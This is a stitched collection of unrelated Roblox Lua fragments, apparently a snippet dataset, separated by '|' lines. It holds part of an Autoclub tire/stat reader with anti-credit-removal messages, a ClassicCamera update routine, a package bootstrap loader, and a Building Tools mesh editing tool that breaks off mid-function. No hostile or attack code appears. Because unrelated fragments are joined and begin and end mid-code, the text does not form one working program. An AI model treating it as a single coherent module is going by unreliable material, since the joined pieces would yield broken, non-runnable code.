STATREADER.P2W.Text = "P/W Ratio: "..RoundNumber((_Tune.Horsepower+(_Tune.Horsepower*((((1*_Tune.Boost*2)*(_Tune.CompressRatio/10))/7.5))/2))/_Tune.Weight,.0001)
elseif _Tune.Aspiration == "Natural" then
STATREADER.P2W.Text = "P/W Ratio: "..RoundNumber(_Tune.Horsepower/_Tune.Weight,.0001)
end
else
STATREADER.P2W.Text = "P/W Ratio: "..RoundNumber(_Tune.Horsepower/_Tune.Weight,.0001)
end
else
STATREADER.P2W.Text = "P/W Ratio: Data Not Available"
end
if car.DriveSeat.TireStats.Fwear.Value == .2 and car.DriveSeat.TireStats.Ffriction.Value > .579 and car.DriveSeat.TireStats.Ffriction.Value < .631 and car.DriveSeat.TireStats.Fminfriction.Value == .35 and car.DriveSeat.TireStats.Ffweight.Value == 2 and car.DriveSeat.TireStats.TCS.Value == 1 and car.DriveSeat.TireStats.Lock.Value == 1/6 and car.DriveSeat.TireStats.Spin.Value == 1/1.2 and car.DriveSeat.TireStats.Rwear.Value == .2 and car.DriveSeat.TireStats.Rfriction.Value > .579 and car.DriveSeat.TireStats.Rfriction.Value < .631 and car.DriveSeat.TireStats.Rminfriction.Value == .35 and car.DriveSeat.TireStats.Rfweight.Value == 2 and car.DriveSeat.TireStats.Reg.Value == 3.6 then
STATREADER.Tires.Text = "Tires: All Season"
elseif car.DriveSeat.TireStats.Fwear.Value == 30 and car.DriveSeat.TireStats.Ffriction.Value > 1.179 and car.DriveSeat.TireStats.Ffriction.Value < 1.231 and car.DriveSeat.TireStats.Fminfriction.Value == .35 and car.DriveSeat.TireStats.Ffweight.Value == 1 and car.DriveSeat.TireStats.TCS.Value == 1 and car.DriveSeat.TireStats.Lock.Value == 1/6 and car.DriveSeat.TireStats.Spin.Value == 1/1.2 and car.DriveSeat.TireStats.Rwear.Value == 30 and car.DriveSeat.TireStats.Rfriction.Value > 1.179 and car.DriveSeat.TireStats.Rfriction.Value < 1.231 and car.DriveSeat.TireStats.Rminfriction.Value == .35 and car.DriveSeat.TireStats.Rfweight.Value == 1 and car.DriveSeat.TireStats.Reg.Value == 20 then
STATREADER.Tires.Text = "Tires: Drag Radials"
elseif car.DriveSeat.TireStats.Fwear.Value == .3 and car.DriveSeat.TireStats.Ffriction.Value > .479 and car.DriveSeat.TireStats.Ffriction.Value < .531 and car.DriveSeat.TireStats.Fminfriction.Value == .35 and car.DriveSeat.TireStats.Ffweight.Value == 10 and car.DriveSeat.TireStats.TCS.Value == 1 and car.DriveSeat.TireStats.Lock.Value == 1/6 and car.DriveSeat.TireStats.Spin.Value == 1/1.2 and car.DriveSeat.TireStats.Rwear.Value == .3 and car.DriveSeat.TireStats.Rfriction.Value > .479 and car.DriveSeat.TireStats.Rfriction.Value < .531 and car.DriveSeat.TireStats.Rminfriction.Value == .35 and car.DriveSeat.TireStats.Rfweight.Value == 10 and car.DriveSeat.TireStats.Reg.Value == 3.6 then
STATREADER.Tires.Text = "Tires: All Terrain"
elseif car.DriveSeat.TireStats.Fwear.Value == .5 and car.DriveSeat.TireStats.Ffriction.Value > .729 and car.DriveSeat.TireStats.Ffriction.Value < .781 and car.DriveSeat.TireStats.Fminfriction.Value == .35 and car.DriveSeat.TireStats.Ffweight.Value == .6 and car.DriveSeat.TireStats.TCS.Value == 1 and car.DriveSeat.TireStats.Lock.Value == 1/6 and car.DriveSeat.TireStats.Spin.Value == 1/1.2 and car.DriveSeat.TireStats.Rwear.Value == .5 and car.DriveSeat.TireStats.Rfriction.Value > .729 and car.DriveSeat.TireStats.Rfriction.Value < .781 and car.DriveSeat.TireStats.Rminfriction.Value == .35 and car.DriveSeat.TireStats.Rfweight.Value == .6 and car.DriveSeat.TireStats.Reg.Value == 3.6 then
STATREADER.Tires.Text = "Tires: Semi Slicks"
elseif car.DriveSeat.TireStats.Fwear.Value == .6 and car.DriveSeat.TireStats.Ffriction.Value > .879 and car.DriveSeat.TireStats.Ffriction.Value < .931 and car.DriveSeat.TireStats.Fminfriction.Value == .35 and car.DriveSeat.TireStats.Ffweight.Value == .6 and car.DriveSeat.TireStats.TCS.Value == 1 and car.DriveSeat.TireStats.Lock.Value == 1/6 and car.DriveSeat.TireStats.Spin.Value == 1/1.2 and car.DriveSeat.TireStats.Rwear.Value == .6 and car.DriveSeat.TireStats.Rfriction.Value > .879 and car.DriveSeat.TireStats.Rfriction.Value < .931 and car.DriveSeat.TireStats.Rminfriction.Value == .35 and car.DriveSeat.TireStats.Rfweight.Value == .6 and car.DriveSeat.TireStats.Reg.Value == 3.6 then
STATREADER.Tires.Text = "Tires: Slicks"
elseif car.DriveSeat.TireStats.Fwear.Value == 0 and car.DriveSeat.TireStats.Ffriction.Value == 0 and car.DriveSeat.TireStats.Fminfriction.Value == 0 and car.DriveSeat.TireStats.Ffweight.Value == 0 and car.DriveSeat.TireStats.TCS.Value == 0 and car.DriveSeat.TireStats.Lock.Value == 0 and car.DriveSeat.TireStats.Spin.Value == 0 and car.DriveSeat.TireStats.Rwear.Value == 0 and car.DriveSeat.TireStats.Rfriction.Value == 0 and car.DriveSeat.TireStats.Rminfriction.Value == 0 and car.DriveSeat.TireStats.Rfweight.Value == 0 and car.DriveSeat.TireStats.Reg.Value == 0 then
STATREADER.Tires.Text = "Tires: Car Not Initialized"
else
STATREADER.Tires.Text = "Tires: Not Standard"
end
script:Destroy()
else
STATREADER.N.Text = "This is a product of Autoclub"
STATREADER.C.Text = "So now restore the script to its original conditions,"
STATREADER.HP.Text = "Why are you trying to remove the logos?"
STATREADER.HPB.Text = "it will be very appreciated,"
STATREADER.PSI.Text = "Idk man theres nothing wrong with showing the fact that you use our stuff,"
STATREADER.IC.Text = "don't do this, its very very petty"
STATREADER.W.Text = "and especially if you're from another community"
STATREADER.FI.Text = "Dont you think its kinda petty to remove the credits?"
STATREADER.FD.Text = "and you're a HR"
STATREADER.TS.Text = "you know you can be better than that,"
STATREADER.P2W.Text = "and it is a sign of maturity."
STATREADER.Tires.Text = "-Autoclub Tire System"
end
else
STATREADER.N.Text = "This is a product of Autoclub"
STATREADER.C.Text = "So now restore the script to its original conditions,"
STATREADER.HP.Text = "Why are you trying to remove the logos?"
STATREADER.HPB.Text = "it will be very appreciated,"
STATREADER.PSI.Text = "Idk man theres nothing wrong with showing the fact that you use our stuff,"
STATREADER.IC.Text = "don't do this, its very very petty"
STATREADER.W.Text = "and especially if you're from another community"
STATREADER.FI.Text = "Dont you think its kinda petty to remove the credits?"
STATREADER.FD.Text = "and you're a HR"
STATREADER.TS.Text = "you know you can be better than that,"
STATREADER.P2W.Text = "and it is a sign of maturity."
STATREADER.Tires.Text = "-Autoclub Tire System"
end
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values |
function ClassicCamera:SetCameraMovementMode( cameraMovementMode )
BaseCamera.SetCameraMovementMode(self,cameraMovementMode)
self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow
end
function ClassicCamera:Test()
print("ClassicCamera:Test()")
end
function ClassicCamera:Update()
local now = tick()
local timeDelta = (now - self.lastUpdate)
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local overrideCameraLookVector = nil
if self.resetCameraAngle then
local rootPart = self:GetHumanoidRootPart()
if rootPart then
overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector
else
overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector
end
self.resetCameraAngle = false
end
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
if self.lastUpdate then
local gamepadRotation = self:UpdateGamepad()
if self:ShouldUseVRRotation() then
self.rotateInput = self.rotateInput + self:GetVRRotationInput()
else
-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from
local delta = math.min(0.1, timeDelta)
if gamepadRotation ~= ZERO_VECTOR2 then
self.rotateInput = self.rotateInput + (gamepadRotation * delta)
end
local angle = 0
if not (isInVehicle or isOnASkateboard) then
angle = angle + (self.turningLeft and -120 or 0)
angle = angle + (self.turningRight and 120 or 0)
end
if angle ~= 0 then
self.rotateInput = self.rotateInput + Vector2.new(math.rad(angle * delta), 0)
end
end
end
-- Reset tween speed if user is panning
if self.userPanningTheCamera then
tweenSpeed = 0
self.lastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetIsMouseLocked() and not self:IsInFirstPerson() then
-- We need to use the right vector of the camera after rotation, not before
local newLookCFrame = self:CalculateNewLookCFrame(overrideCameraLookVector)
local offset = self:GetMouseLockOffset()
local cameraRelativeOffset = offset.X * newLookCFrame.rightVector + offset.Y * newLookCFrame.upVector + offset.Z * newLookCFrame.lookVector
--offset can be NAN, NAN, NAN if newLookVector has only y component
if Util.IsFiniteVector3(cameraRelativeOffset) then
subjectPosition = subjectPosition + cameraRelativeOffset
end
else
if not self.userPanningTheCamera and self.lastCameraTransform then
local isInFirstPerson = self:IsInFirstPerson()
if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if Util.IsFinite(y) then
self.rotateInput = self.rotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
if isOnASkateboard then
forwardVector = cameraSubject.CFrame.lookVector
end
tweenSpeed = Util.Clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta)
local percent = Util.Clamp(0, 1, tweenSpeed * timeDelta)
if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then
percent = 1
end
local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())
if Util.IsFinite(y) and math.abs(y) > 0.0001 then
self.rotateInput = self.rotateInput + Vector2.new(y * percent, 0)
end
end
elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then
-- Logic that was unique to the old FollowCamera module
local lastVec = -(self.lastCameraTransform.p - subjectPosition)
local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector())
-- This cutoff is to decide if the humanoid's angle of movement,
-- relative to the camera's look vector, is enough that
-- we want the camera to be following them. The point is to provide
-- a sizable dead zone to allow more precise forward movements.
local thetaCutoff = 0.4
-- Check for NaNs
if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then
self.rotateInput = self.rotateInput + Vector2.new(y, 0)
end
end
end
end
if not self.isFollowCamera then
local VREnabled = VRService.VREnabled
if VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
local cameraFocusP = newCameraFocus.p
if VREnabled and not self:IsInFirstPerson() then
local cameraHeight = self:GetCameraHeight()
local vecToSubject = (subjectPosition - camera.CFrame.p)
local distToSubject = vecToSubject.magnitude
-- Only move the camera if it exceeded a maximum distance to the subject in VR
if distToSubject > zoom or self.rotateInput.x ~= 0 then
local desiredDist = math.min(distToSubject, zoom)
vecToSubject = self:CalculateNewLookVectorVR() * desiredDist
local newPos = cameraFocusP - vecToSubject
local desiredLookDir = camera.CFrame.lookVector
if self.rotateInput.x ~= 0 then
desiredLookDir = vecToSubject
end
local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)
self.rotateInput = ZERO_VECTOR2
newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)
end
else
local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector)
self.rotateInput = ZERO_VECTOR2
newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
end
else -- is FollowCamera
local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector)
self.rotateInput = ZERO_VECTOR2
if VRService.VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, self:GetCameraHeight(), 0)
end
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
if (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
self.lastSubjectCFrame = cameraSubject.CFrame
else
self.lastSubjectCFrame = nil
end
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
function ClassicCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function ClassicCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return ClassicCamera
|
--[=[
Bootstraps the game by replicating packages to server, client, and
shared.
```lua
local ServerScriptService = game:GetService("ServerScriptService")
local loader = ServerScriptService:FindFirstChild("LoaderUtils", true).Parent
local packages = require(loader).bootstrapGame(ServerScriptService.ik)
```
:::info
The game must be running to do this bootstrapping operation.
:::
@server
@function bootstrapGame
@param packageFolder Instance
@return Folder -- serverFolder
@within Loader
]=] |
local function bootstrapGame(packageFolder)
assert(RunService:IsRunning(), "Game must be running")
loader:Lock()
local clientFolder, serverFolder, sharedFolder = LoaderUtils.toWallyFormat(packageFolder)
clientFolder.Parent = ReplicatedStorage
sharedFolder.Parent = ReplicatedStorage
serverFolder.Parent = ServerScriptService
return serverFolder
end
|
-- Container for temporary connections (disconnected automatically) |
local Connections = {};
function MeshTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
end;
function MeshTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if MeshTool.UI then
-- Reveal the UI
MeshTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
MeshTool.UI = Core.Tool.Interfaces.BTMeshToolGUI:Clone();
MeshTool.UI.Parent = Core.UI;
MeshTool.UI.Visible = true;
local AddButton = MeshTool.UI.AddButton;
local RemoveButton = MeshTool.UI.RemoveButton;
local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox;
local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox;
local VertexColorInput = MeshTool.UI.TintOption.HSVPicker;
MeshTypes = {
Block = Enum.MeshType.Brick,
Cylinder = Enum.MeshType.Cylinder,
File = Enum.MeshType.FileMesh,
Head = Enum.MeshType.Head,
Sphere = Enum.MeshType.Sphere,
Wedge = Enum.MeshType.Wedge
};
-- Sort the mesh types
SortedMeshTypes = Support.Keys(MeshTypes);
table.sort(SortedMeshTypes);
-- Create the mesh type dropdown
TypeDropdown = Core.Cheer(MeshTool.UI.TypeOption.Dropdown).Start(SortedMeshTypes, '', function (Type)
SetProperty('MeshType', MeshTypes[Type]);
end);
-- Enable the scale inputs
local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox;
local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox;
local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox;
XScaleInput.FocusLost:Connect(function (EnterPressed)
local NewScale = tonumber(XScaleInput.Text);
SetAxisScale('X', NewScale);
end);
YScaleInput.FocusLost:Connect(function (EnterPressed)
local NewScale = tonumber(YScaleInput.Text);
SetAxisScale('Y', NewScale);
end);
ZScaleInput.FocusLost:Connect(function (EnterPressed)
local NewScale = tonumber(ZScaleInput.Text);
SetAxisScale('Z', NewScale);
end);
-- Enable the offset inputs
local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox;
local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox;
local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox;
XOffsetInput.FocusLost:Connect(function (EnterPressed)
local NewOffset = tonumber(XOffsetInput.Text);
SetAxisOffset('X', NewOffset);
end);
YOffsetInput.FocusLost:Connect(function (EnterPressed)
local NewOffset = tonumber(YOffsetInput.Text);
SetAxisOffset('Y', NewOffset);
end);
ZOffsetInput.FocusLost:Connect(function (EnterPressed)
local NewOffset = tonumber(ZOffsetInput.Text);
SetAxisOffset('Z', NewOffset);
end);
-- Enable the mesh ID input
MeshIdInput.FocusLost:Connect(function (EnterPressed)
SetMeshId(ParseAssetId(MeshIdInput.Text));
end);
-- Enable the texture ID input
TextureIdInput.FocusLost:Connect(function (EnterPressed)
SetTextureId(ParseAssetId(TextureIdInput.Text));
end);
-- Enable the vertex color/tint option
VertexColorInput.MouseButton1Click:Connect(function ()
Core.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start(
VectorToColor(Support.IdentifyCommonProperty(GetMeshes(), 'VertexColor')) or Color3.new(1, 1, 1),
function (Color) SetProperty('VertexColor', ColorToVector(Color)) end,
Core.Targeting.CancelSelecting
);
end);
-- Enable the mesh adding button
AddButton.Button.MouseButton1Click:Connect(function ()
AddMeshes();
end);
RemoveButton.Button.MouseButton1Click:Connect(function ()
RemoveMeshes();
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not MeshTool.UI then
return;
end;
-- Get all meshes
local Meshes = GetMeshes();
-- Identify all common properties
local MeshType = Support.IdentifyCommonProperty(Meshes, 'MeshType');
local MeshId = Support.IdentifyCommonProperty(Meshes, 'MeshId');
local TextureId = Support.IdentifyCommonProperty(Meshes, 'TextureId');
local VertexColor = VectorToColor(Support.IdentifyCommonProperty(Meshes, 'VertexColor'));
-- Check if there's a file mesh in the selection
local FileMeshInSelection = false;
for _, Mesh in pairs(GetMeshes()) do
if Mesh.MeshType == Enum.MeshType.FileMesh then
FileMeshInSelection = true;
break;
end;
end;
-- Identify common scales and offsets across axes
local XScaleVariations, YScaleVariations, ZScaleVariations = {}, {}, {};
local XOffsetVariations, YOffsetVariations, ZOffsetVariations = {}, {}, {};
for _, Mesh in pairs(GetMeshes()) do
table.insert(XScaleVariations, Support.Round(Mesh.Scale.X, 3));
table.insert(YScaleVariations, Support.Round(Mesh.Scale.Y, 3));
table.insert(ZScaleVariations, Support.Round(Mesh.Scale.Z, 3));
table.insert(XOffsetVariations, Support.Round(Mesh.Offset.X, 3));
table.insert(YOffsetVariations, Support.Round(Mesh.Offset.Y, 3));
table.insert(ZOffsetVariations, Support.Round(Mesh.Offset.Z, 3));
end;
local CommonXScale = Support.IdentifyCommonItem(XScaleVariations);
local CommonYScale = Support.IdentifyCommonItem(YScaleVariations);
local CommonZScale = Support.IdentifyCommonItem(ZScaleVariations);
local CommonXOffset = Support.IdentifyCommonItem(XOffsetVariations);
local CommonYOffset = Support.IdentifyCommonItem(YOffsetVariations);
local CommonZOffset = Support.IdentifyCommonItem(ZOffsetVariations);
-- Shortcuts to updating UI elements
local AddButton = MeshTool.UI.AddButton;
local RemoveButton = MeshTool.UI.RemoveButton;
local MeshTypeDropdown = MeshTool.UI.TypeOption.Dropdown;
local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox;
local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox;
local VertexColorIndicator = MeshTool.UI.TintOption.Indicator;
local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox;
local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox;
local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox;
local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox;
local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox;
local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox;
-- Update the inputs
UpdateDataInputs {
[MeshIdInput] = MeshId and ParseAssetId(MeshId) or MeshId or '*';
[TextureIdInput] = TextureId and ParseAssetId(TextureId) or TextureId or '*';
[XScaleInput] = CommonXScale or '*';
[YScaleInput] = CommonYScale or '*';
[ZScaleInput] = CommonZScale or '*';
[XOffsetInput] = CommonXOffset or '*';
[YOffsetInput] = CommonYOffset or '*';
[ZOffsetInput] = CommonZOffset or '*';
};
UpdateColorIndicator(VertexColorIndicator, VertexColor);
local MeshTypeLabel = Support.FindTableOccurrence(MeshTypes, MeshType);
TypeDropdown.SetOption(MeshTypeLabel and MeshTypeLabel or '*');
AddButton.Visible = false;
RemoveButton.Visible = false;
MeshTool.UI.TypeOption.Visible = false;
MeshIdInput.Parent.Visible = false;
TextureIdInput.Parent.Visible = false;
VertexColorIndicator.Parent.Visible = false;
MeshTool.UI.ScaleOption.Visible = false;
MeshTool.UI.OffsetOption.Visible = false;
-- Update the UI to display options depending on the mesh type
local DisplayedItems;
if #Meshes == 0 then
DisplayedItems = { AddButton };
-- Each selected part has a mesh, including a file mesh
elseif #Meshes == #Selection.Parts and FileMeshInSelection then
DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton };
-- Each selected part has a mesh
elseif #Meshes == #Selection.Parts and not FileMeshInSelection then
DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton };
-- Only some selected parts have meshes, including a file mesh
elseif #Meshes ~= #Selection.Parts and FileMeshInSelection then
DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton };
-- Only some selected parts have meshes
elseif #Meshes ~= #Selection.Parts and not FileMeshInSelection then
DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton };
end;
-- Display the relevant UI elements
DisplayLinearLayout(DisplayedItems, MeshTool.UI, UDim2.new(0, 0, 0, 20), 10);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not MeshTool.UI then
return;
end;
-- Hide the UI
MeshTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetMeshes()
-- Returns all the meshes in the selection
local Meshes = {};
-- Get any meshes from any selected parts
for _, Part in pairs(Selection.Parts) do
table.insert(Meshes, Support.GetChildOfClass(Part, 'SpecialMesh'));
end;
-- Return the meshes
return Meshes;
end;
function ParseAssetId(Input)
-- Returns the intended asset ID for the given input
-- Get the ID number from the input
local Id = tonumber(Input)
or tonumber(Input:lower():match('%?id=([0-9]+)'))
or tonumber(Input:match('/([0-9]+)/'))
or tonumber(Input:lower():match('rbxassetid://([0-9]+)'));
-- Return the ID
return Id;
end;
function VectorToColor(Vector)
-- Returns the Color3 with the values in the given Vector3
-- Make sure that the given Vector3 is valid
if not Vector then return end;
-- Return the Color3
return Color3.new(Vector.X, Vector.Y, Vector.Z);
end;
function ColorToVector(Color)
-- Returns the Vector3 with the values in the given Color3
-- Make sure that the given Color3 is valid
if not Color then return end;
-- Return the Vector3
return Vector3.new(Color.r, Color.g, Color.b);
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function UpdateColorIndicator(Indicator, Color)
-- Updates the given color indicator
-- If there is a single color, just display it
if Color then
Indicator.BackgroundColor3 = Color;
Indicator.Varies.Text = '';
-- If the colors vary, display a * on a gray background
else
Indicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);
Indicator.Varies.Text = '*';
end;
end;
function DisplayLinearLayout(Items, Container, StartPosition, Padding)
-- Keep track of the total vertical extents of all items
local Sum = 0;
-- Go through each item
for ItemIndex, Item in ipairs(Items) do
-- Make the item visible
Item.Visible = true;
-- Position this item underneath the past items
Item.Position = StartPosition + UDim2.new(
Item.Position.X.Scale,
Item.Position.X.Offset,
0,
Sum + Padding
);
-- Update the sum of item heights
Sum = Sum + Padding + Item.AbsoluteSize.Y;
end;
-- Resize the container to fit the new layout
Container.Size = UDim2.new(0, 200, 0, 30 + Sum);
end;
function AddMeshes()
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Parts) do
-- Make sure this part doesn't already have a mesh
if not Support.GetChildOfClass(Part, 'SpecialMesh') then
-- Queue a mesh to be created for this part
table.insert(Changes, { Part = Part });
end;
end;
-- Send the change request to the server
local Meshes = Core.SyncAPI:Invoke('CreateMeshes', Changes);
-- Put together the history record
local HistoryRecord = {
Meshes = Meshes;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the meshes
Core.SyncAPI:Invoke('Remove', Record.Meshes);
end;
Apply = function (Record)
-- Reapplies this change
-- Restore the meshes
Core.SyncAPI:Invoke('UndoRemove', Record.Meshes);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function RemoveMeshes()
-- Get all the meshes in the selection
local Meshes = GetMeshes();
-- Create the history record
local HistoryRecord = {
Meshes = Meshes;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Restore the meshes
Core.SyncAPI:Invoke('UndoRemove', Record.Meshes);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
Apply = function (Record)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the meshes
Core.SyncAPI:Invoke('Remove', Record.Meshes);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Meshes);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function SetProperty(Property, Value)
-- Make sure the given value is valid
if not Value then
return;
end;
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, [Property] = Mesh[Property] });
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function SetAxisScale(Axis, Scale)
-- Sets the selection's scale on axis `Axis` to `Scale`
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Scale = Mesh.Scale });
-- Put together the changed scale
local Scale = Vector3.new(
Axis == 'X' and Scale or Mesh.Scale.X,
Axis == 'Y' and Scale or Mesh.Scale.Y,
Axis == 'Z' and Scale or Mesh.Scale.Z
);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, Scale = Scale });
end;
-- Register the changes
RegisterChange();
end;
function SetAxisOffset(Axis, Offset)
-- Sets the selection's offset on axis `Axis` to `Offset`
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Offset = Mesh.Offset });
-- Put together the changed scale
local Offset = Vector3.new(
Axis == 'X' and Offset or Mesh.Offset.X,
Axis == 'Y' and Offset or Mesh.Offset.Y,
Axis == 'Z' and Offset or Mesh.Offset.Z
);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, Offset = Offset });
end;
-- Register the changes
RegisterChange();
end;
function SetMeshId(AssetId)
-- Sets the meshes in the selection's mesh ID to the intended, given mesh asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
MeshId = 'rbxassetid://' .. AssetId;
};
-- Attempt a mesh extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractMeshFromAsset', AssetId)
:Then(function (ExtractionData)
-- Ensure extraction succeeded
assert(ExtractionData.success, 'Extraction failed');
-- Apply any mesh found
local MeshId = ExtractionData.meshID;
if MeshId then
Changes.MeshId = 'rbxassetid://' .. MeshId;
end;
-- Apply any texture found
local TextureId = ExtractionData.textureID;
if TextureId then
Changes.TextureId = 'rbxassetid://' .. TextureId;
end;
-- Apply any vertex color found
local VertexColor = ExtractionData.tint;
if VertexColor then
Changes.VertexColor = Vector3.new(VertexColor.x, VertexColor.y, VertexColor.z);
end;
-- Apply any scale found
local Scale = ExtractionData.scale;
if Scale then
Changes.Scale = Vector3.new(Scale.x, Scale.y, Scale.z);
end;
end);
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Create the history change requests for this mesh
local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Mesh[Property];
After[Property] = Value;
end;
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this mesh
